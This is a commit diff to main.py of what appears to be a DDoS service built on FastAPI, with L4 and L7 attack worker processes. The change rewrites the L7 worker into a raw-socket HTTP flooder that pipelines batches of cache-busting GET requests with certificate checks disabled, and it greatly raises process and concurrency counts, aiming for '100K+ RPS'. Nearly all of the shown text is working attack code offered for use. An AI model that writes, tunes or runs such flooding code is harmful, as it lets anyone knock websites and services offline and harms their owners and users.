Update main.py

main.py

@@ -35,23 +35,23 @@ app = FastAPI(
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# OPTIMIZED configuration for maximum sustained RPS
-# Sweet spot: 8K-16K workers for high-core systems
+# EXTREME PERFORMANCE configuration for 100K+ RPS
+# Direct socket approach - maximum workers
 if CPU_COUNT >= 32:
-    # High-core systems (32-64+ cores) - proven stable at 64 procs × 128 conc
-    MAX_PROCESSES = CPU_COUNT  # 64 processes for 64 cores
-    MAX_CONCURRENCY_PER_PROCESS = 192  # Slightly higher than 128
+    # High-core systems (32-64+ cores) - MAXIMUM POWER
+    MAX_PROCESSES = CPU_COUNT * 4  # 256 processes for 64 cores
+    MAX_CONCURRENCY_PER_PROCESS = 512  # 512 async tasks per process
 elif CPU_COUNT >= 16:
-    MAX_PROCESSES = CPU_COUNT * 2
-    MAX_CONCURRENCY_PER_PROCESS = 256
-elif CPU_COUNT >= 8:
-    MAX_PROCESSES = CPU_COUNT * 6  # 48 processes for 8 cores
+    MAX_PROCESSES = CPU_COUNT * 6
     MAX_CONCURRENCY_PER_PROCESS = 768
+elif CPU_COUNT >= 8:
+    MAX_PROCESSES = CPU_COUNT * 12  # 96 processes for 8 cores
+    MAX_CONCURRENCY_PER_PROCESS = 1024
 else:
-    MAX_PROCESSES = CPU_COUNT * 4
-    MAX_CONCURRENCY_PER_PROCESS = 512
+    MAX_PROCESSES = CPU_COUNT * 8
+    MAX_CONCURRENCY_PER_PROCESS = 1024
 
-STATS_BATCH_UPDATE_SIZE = 200  # Optimized batch size
+STATS_BATCH_UPDATE_SIZE = 500  # Larger batches for extreme performance
 TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
 
 # --- L7 Enhanced Headers Pool ---
@@ -246,63 +246,93 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
 #  OPTIMIZED L7 WORKER PROCESS
 # ====================================================================================
 async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    """Ultra-optimized L7 worker for maximum sustained RPS."""
-    ssl_context = ssl.create_default_context()
-    ssl_context.check_hostname = False
-    ssl_context.verify_mode = ssl.CERT_NONE
+    """EXTREME PERFORMANCE - Direct socket-based HTTP flooding for 100K+ RPS."""
     
-    # Balanced connector - controlled connection pool
-    connector = aiohttp.TCPConnector(
-        limit=concurrency * 2,  # 2x concurrency for pipeline
-        limit_per_host=concurrency * 2,
-        ttl_dns_cache=300,
-        force_close=False,
-        enable_cleanup_closed=False,
-        keepalive_timeout=90
-    )
+    # Parse target
+    if url.startswith('https://'):
+        use_ssl = True
+        host = url[8:].split(':')[0].split('/')[0]
+        port = 443
+    else:
+        use_ssl = False
+        host = url[7:].split(':')[0].split('/')[0]
+        port = 80
     
-    # Fast but not too aggressive timeouts
-    timeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)
+    if ':' in url.split('//')[1]:
+        port = int(url.split('//')[1].split(':')[1].split('/')[0])
     
-    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
-        async def task_worker(worker_id):
-            """Optimized request loop with keep-alive reuse."""
-            local_counter = 0
-            req_counter = 0
-            headers = {
-                "User-Agent": random.choice(USER_AGENTS),
-                "Connection": "keep-alive",
-                "Accept": "*/*"
-            }
-            
-            while not stop_event.is_set():
+    path = '/' + '/'.join(url.split('//')[1].split('/')[1:]) if '/' in url.split('//')[1] else '/'
+    
+    # Pre-build HTTP request template (minimal overhead)
+    http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
+    
+    async def raw_socket_worker(worker_id):
+        """Ultra-fast direct socket worker - NO HTTP library overhead."""
+        local_counter = 0
+        req_counter = 0
+        sock = None
+        
+        while not stop_event.is_set():
+            try:
+                # Create new socket if needed
+                if sock is None:
+                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+                    sock.settimeout(2)
+                    sock.connect((host, port))
+                    if use_ssl:
+                        import ssl as ssl_module
+                        context = ssl_module.create_default_context()
+                        context.check_hostname = False
+                        context.verify_mode = ssl_module.CERT_NONE
+                        sock = context.wrap_socket(sock, server_hostname=host)
+                
+                # Send rapid-fire requests
+                for _ in range(50):  # Batch 50 requests per socket
+                    if stop_event.is_set():
+                        break
+                    request = http_template.format(req_counter).encode()
+                    sock.sendall(request)
+                    local_counter += 1
+                    req_counter += 1
+                
+                # Try to read response (non-blocking)
+                sock.settimeout(0.01)
                 try:
-                    # Reuse connections with cache busting
-                    async with session.get(
-                        f"{url}?_={req_counter}", 
-                        headers=headers,
-                        allow_redirects=False
-                    ) as resp:
-                        _ = await resp.read()  # Fully consume response
-                        local_counter += 1
-                        req_counter += 1
+                    _ = sock.recv(4096)
                 except:
-                    req_counter += 1  # Increment even on failure
+                    pass
                 
-                # Batch counter updates
-                if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                    with shared_counter.get_lock():
-                        shared_counter.value += local_counter
-                    local_counter = 0
+            except:
+                # Close and reconnect on error
+                if sock:
+                    try:
+                        sock.close()
+                    except:
+                        pass
+                    sock = None
             
-            # Final update
-            if local_counter > 0:
+            # Batch counter updates
+            if local_counter >= STATS_BATCH_UPDATE_SIZE:
                 with shared_counter.get_lock():
                     shared_counter.value += local_counter
+                local_counter = 0
+        
+        # Cleanup
+        if sock:
+            try:
+                sock.close()
+            except:
+                pass
         
-        # Launch all tasks
-        tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
-        await asyncio.gather(*tasks, return_exceptions=True)
+        # Final update
+        if local_counter > 0:
+            with shared_counter.get_lock():
+                shared_counter.value += local_counter
+    
+    # Launch all socket workers
+    tasks = [asyncio.create_task(raw_socket_worker(i)) for i in range(concurrency)]
+    await asyncio.gather(*tasks, return_exceptions=True)
 
 def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
     """L7 worker process entry point."""